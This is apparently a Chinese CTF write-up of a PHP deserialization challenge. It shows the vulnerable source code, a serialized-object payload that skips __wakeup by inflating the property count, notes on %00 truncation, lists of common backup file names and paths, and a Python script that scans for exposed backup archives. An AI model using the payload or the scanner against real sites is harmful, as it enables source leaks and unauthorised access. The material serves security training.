网站源码备份 [极客大挑战 2019]PHP1

打开题目

题目提示我们备份网站

我们输入/www.zip

下载zip文件,打开发现

打开index.php

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

文件包含class.php,get传参一个select函数,反序列化select参数的值并赋值给res

然后我们访问class.php

<?php
include 'flag.php';   //包含flag.php文件


error_reporting(0);


class Name{
    private $username = 'nonono';   //private 函数仅在其类内部调用时才有效,Private 函数只能在定义它的类中访问,不能在类外访问。
    private $password = 'yesyes';

    public function __construct($username,$password){   //construct构造函数
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';   //用wakeup函数让username变量等于guest
    }

    function __destruct(){
        if ($this->password != 100) {   //如果密码不等于100
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {    //如果用户名和admin强比较相等
            global $flag;
            echo $flag;   //输出flag
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

本题的关键,就是username的赋值

因为 __wakeup 会对userneme进行一次赋值,所以我们要想办法绕过该函数, 才能让username与admin强比较相等

构造payload我们还是用phpstudy

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
    }
 $select = new Name();
 $res=serialize(@$select);   
 echo $res
?>

打开本地网站即可得到

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

O这里的4指的是name的长度,name后面的2指的是有2个成员,Nameusername,Namepassword

我们这里只需要把name后面的2修改为比2大的数字就好了

修改后的payload

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

接下来我们把select传参就好

得到flag

知识点:

  •  PHP中private私有函数

Private 函数只能在定义它的类中访问,不能在类外访问。当 private 函数仅在其类内部调用时才有效

  • php中construct构造函数

创建构造函数的语法格式如下:

public function __construct(参数列表){
    ... ...
}

  • php中function函数

将实现某一功能的代码块封装到一个结构中,实现代码复用

函数定义

function 函数名(参数){
    // 函数体
    return 返回值
}

函数调用的特点:

只要系统在内存中能够找到对应的函数,就可以执行(函数的调用可以在函数定义之前)

实例:

<?php
function writeName()
{
    echo "Kai Jim Refsnes";
}
 
echo "My name is ";
writeName();
?>

运行结果

My name is Kai Jim Refsnes

 文章见:PHP 函数 | 菜鸟教程

  • php中wakeup函数

当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。是因为 PHP 在反序列化过程中,会忽略掉多出来的属性,而不会对这些属性进行处理和执行。

当 PHP 反序列化一个对象时,它首先读取对象的类名,并创建一个新的对象。然后,PHP 会读取对象的属性个数,并将每个属性的名称和值读入对象中。如果属性个数比实际属性个数多,则 PHP 会忽略这些多余的属性,直接将对象反序列化到一个不完整的状态。这将绕过 __wakeup() 函数的执行,因为 PHP 无法通过未知的属性来检查对象的完整性。
 

文章见:CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧_ctf php 反序列化漏洞_Eason_LYC的博客-CSDN博客

  • php中%00截断

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束

实例:

https://mp.csdn.net/upfiles/?filename=test.txt                                此时输出的是test.txt

加上%00

https://mp.csdn.net/upfiles/?filename=test.php%00.txt                   此时输出的是test.php

文章见:转载-一篇讲解比较详细的00截断原理 - 简书

  • 网站备份文件常用后缀名
备份文件常见的后缀名

备份文件基本上都是压缩包

  • .rar
  • .zip
  • .7z
  • .tar.gz
  • .bak
    对于bak类的备份文件,可以直接输入文件名称+.bak访问例如:
    index.php.bak
  • .txt
  • .old
  • .temp
  • _index.html
  • .swp
  • .sql
  • .tgz
  • tar

备份文件常见的文件名

文件名不包含后缀

  • web
  • website
  • backup
  • back
  • www
  • wwwroot
  • temp
  • db
  • data
  • code
  • test
  • admin
  • user
  • sql
常见的备份文件所在目录
/     #根目录首先
/admin 
/data
/default
/index
/login
/manage
/cmseditor
/db
/bbs
/phpadmin

常规的网站目录收集软件
  • 御剑
  • DirBuster
  • Webdirscan
  • Cansina
  • Dirsearch
  • awvs
  • wwwscan

注:

我们可以用kali下的dirsearch扫描目录

也可以用python自写脚本

在此题的基础上

脚本源自下方链接,在此基础上有所改动

​

import requests

url1 = 'http://www.abc.net'  # url为被扫描地址,后不加‘/’

# 常见的网站源码备份文件名  同目录下创建List.txt 如web,website,backup,back,www,wwwroot,temp等
with open('List1.txt', 'r') as f:
    list1 = f.read().splitlines()
    
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar', '7-zip', '7z', 'txt']
for i in list1:
    for j in list2:
        back = str(i) + '.' + str(j)
        url = str(url1) + '/' + back
        print(back + '    ', end='')
        print(requests.get(url).status_code)

        #结果返回的是状态码,如果状态码为200则存在

[点击并拖拽以移动]
​

文章见:CTF——Web网站备份源码泄露_ctf 网站备份-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/119480.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

MySQL第七讲·怎么利用聚合函数实现高效地分组统计?

你好&#xff0c;我是安然无虞。 文章目录 聚合函数&#xff1a;怎么高效地进行分组统计&#xff1f;sum( )avg( ) & max( ) & min( )count( ) 聚合函数&#xff1a;怎么高效地进行分组统计&#xff1f; MySQL中有5种聚合函数较为常用&#xff0c;分别是求和函数sum(…

智能网联汽车基础软件信息安全需求分析

目录 1.安全启动 2.安全升级 3.安全存储 4.安全通信 5.安全调试 6.安全诊断 7.小结 1.安全启动 对于MCU&#xff0c;安全启动主要是以安全岛BootROM为信任根&#xff0c;在MCU启动后&#xff0c;用户程序运行前&#xff0c;硬件加密模块采用逐级校验、并行校验或者混合校…

[AndroidStudio]_[初级]_[修改虚拟设备镜像文件的存放位置]

场景 在使用Android Studio的虚拟设备运行App时&#xff0c;需要创建很大镜像文件。这些镜像文件一般都在系统盘&#xff0c;导致系统盘占用增大。怎么把这些镜像的存放路径设置在其他盘&#xff1f; 说明 虚拟设备的和它的镜像默认是放在用户目录\.android\avd位置。如果是在…

python-全自动二维码识别

纯笔记&#xff0c;可以做到全屏识别二维码&#xff0c;自动识别&#xff0c;复制链接&#xff0c;生成简单的二维码&#xff0c;将识别到的内容转为txt import pyautogui from PIL import Image from pyzbar.pyzbar import decode import tkinter as tk from tkinter import …

javaee实验:搭建maven+spring boot开发环境,开发“Hello,Spring Boot”应用

目录 mavenspringboot实验目的实验内容环境的搭建 在开发中&#xff0c;maven和spring都是非常常用、非常重要的管理工具和框架&#xff0c;今天就在这里使用idea进行环境的搭建和创建第一个spring程序 maven 1.1maven是一个跨平台的项目管理工具&#xff08;主要管理jar包&am…

如何实现Word文档中的书签双向定位

工作中&#xff0c;经常需要拟定合同&#xff0c;一般都有固定的模板&#xff0c;在特定的位置填写内容。通过zOffice编辑合同文件时&#xff0c;可以在模板需要填写的位置预设书签&#xff0c;配合zOffice SDK使用&#xff0c;利用zOffice书签双向定位的特性&#xff0c;更方便…

王道p18 第12题假设 A中的 n个元素保存在一个一维数组中,请设计一个尽可能高效的算法,找出A的主元素。若存在主元素,则输出该元素:否则输出-1

视频讲解在&#xff1a;&#x1f447; p18 第12题 c语言实现王道数据结构课后习题_哔哩哔哩_bilibili 从前向后扫描数组元素&#xff0c;标记出一个可能成为主元素的元素 Num。然后重新计数&#xff0c;确认 Num 是否是主元素。 我们可分为以下两步: 1.选取候选的主元素。依…

CocosCreator使用物理引擎和回调

在2d中开启碰撞需要在项目设置–功能裁剪–2D物理系统【选择 基于Box2D的2D物理系统】 如果想要两个物体碰撞&#xff0c;则需要添加刚体和碰撞【&#xff01;&#xff01;重点】 设置刚体类型 可以设为四种&#xff0c; Static 静态刚体&#xff0c;零质量&#xff0c;零速度…

【JAVA】:万字长篇带你了解JAVA并发编程-并发设计模式【五】

目录 【JAVA】&#xff1a;万字长篇带你了解JAVA并发编程-并发设计模式【五】模式分类Immutability模式【不可变模式】Copy-on-Write 模式Thread Local Storage 模式线程池中使用 Guarded Suspension模式扩展 Guarded Suspension 模式 Balking模式Thread-Per-MessageWorker Thr…

【C语言 | 符号】C语言中符号易出错的地方

&#x1f601;博客主页&#x1f601;&#xff1a;&#x1f680;https://blog.csdn.net/wkd_007&#x1f680; &#x1f911;博客内容&#x1f911;&#xff1a;&#x1f36d;嵌入式开发、Linux、C语言、C、数据结构、音视频&#x1f36d; &#x1f923;本文内容&#x1f923;&a…

养老院展示服务预约小程序的作用是什么

养老院无论在哪个城市都有很高需求度&#xff0c;不少银发人群会因为种种原因而前往&#xff0c;而养老院近些年来各种服务也比较完善&#xff0c;增加了客户信任度及接受度&#xff0c;但对院方来说&#xff0c;也存在着一些痛点&#xff1a; 1、品牌传播服务呈现难 养老院也…

[NLP] 使用Llama.cpp和LangChain在CPU上使用大模型

一 准备工作 下面是构建这个应用程序时将使用的软件工具: 1.Llama-cpp-python 下载llama-cpp, llama-cpp-python [NLP] Llama2模型运行在Mac机器-CSDN博客 2、LangChain LangChain是一个提供了一组广泛的集成和数据连接器&#xff0c;允许我们链接和编排不同的模块。可以常…

华大基因推出产前筛查产品NIFTY®,助力防控显性单基因病

随着高通量测序技术在临床应用的迅速进步&#xff0c;从常见的染色体非整倍体扩展到性染色体和拷贝数变异&#xff0c;全球范围内已经开始将无创产前检测&#xff08;Non-invasive Prenatal Testing&#xff0c;NIPT&#xff09;的应用范围逐步扩大。近日&#xff0c;华大基因重…

【Mybatis小白从0到90%精讲】15: Mybatis配置打印SQL日志

文章目录 前言配置日志实现前言 日志(Log)是每个程序都不可或缺的一部分,它可以帮助开发人员诊断和调试问题。Mybatis,作为一款备受赞誉的ORM框架,自然也提供了强大的日志功能。 它不仅提供了内置的标准实现,还支持集成各种主流的日志框架,让我们可以轻松地查看最终执行…

休眠和睡眠有哪些区别?如何让电脑一键休眠?

电脑中有休眠和睡眠&#xff0c;那么它们有什么区别呢&#xff1f;下面我们就通过本文来了解一下。 休眠和睡眠的区别 电脑在睡眠状态时&#xff0c;会切断内存之外的设备电源&#xff0c;电脑会进入睡眠状态&#xff0c;当再次唤醒电脑后&#xff0c;不会影响睡眠前保存好的工…

柱状图:带误差棒

误差棒可以表示样本标准差&#xff0c;也可以表示样本标准误。 导入库&#xff1a; import pandas as pd 自定义用来绘制带误差棒&#xff08;样本标准差或样本标准误&#xff09;的柱状图&#xff1a; def col(y, x, face, df, errprbarstd) : print(ggplot(df.groupby([x…

搭建WAMP网站教程(Windows+Apache+MySQL+PHP)

之前为了学习网络安全&#xff0c;从搭建网站学起&#xff0c;对网站运行有个初步的了解。 今天翻到了之前的笔记&#xff0c;顺手发到csdn上了。 搭建网站步骤 一、Apache 安装Apache&#xff0c;下载Apache之后把Apache解压&#xff0c;此处解压到C:\目录下 2.然后要记得安…

Notepad++中删除连续的任意n行

使用Notepad里的行标记功能&#xff0c;可以删除指定的任意n行。 案例1&#xff0c;删除sample2.dat里的第201行到第10000行。方法如下&#xff1a; (1) 用户NotePad打开sample2.dat&#xff0c;右击201行 —》“开始/结束”/开始 图(1) 选择行的起点&#xff1a;201 (2) 接…

Git 的基本操作 ——命令行

Git 的工作流程 详解如下&#xff1a; 本地仓库&#xff1a;是在开发人员自己电脑上的Git仓库,存放我们的代码(.git 隐藏文件夹就是我们的本地仓库) 远程仓库&#xff1a;是在远程服务器上的Git仓库,存放代码(可以是github.com或者gitee.com 上的仓库,或者自己该公司的服务器…

【动手学深度学习】课程笔记 05-07 线性代数、矩阵计算和自动求导

05 线性代数 1. 基础知识补充 向量相关 矩阵相关 简单来说&#xff0c;范数是用来衡量矩阵&#xff08;张量&#xff09;大小的值&#xff0c;范数的值有不同的规定。 2. 代码实现 仅记录一些我比较陌生的知识。 张量的克隆 A torch.arange(20, dtypetorch.float32).resh…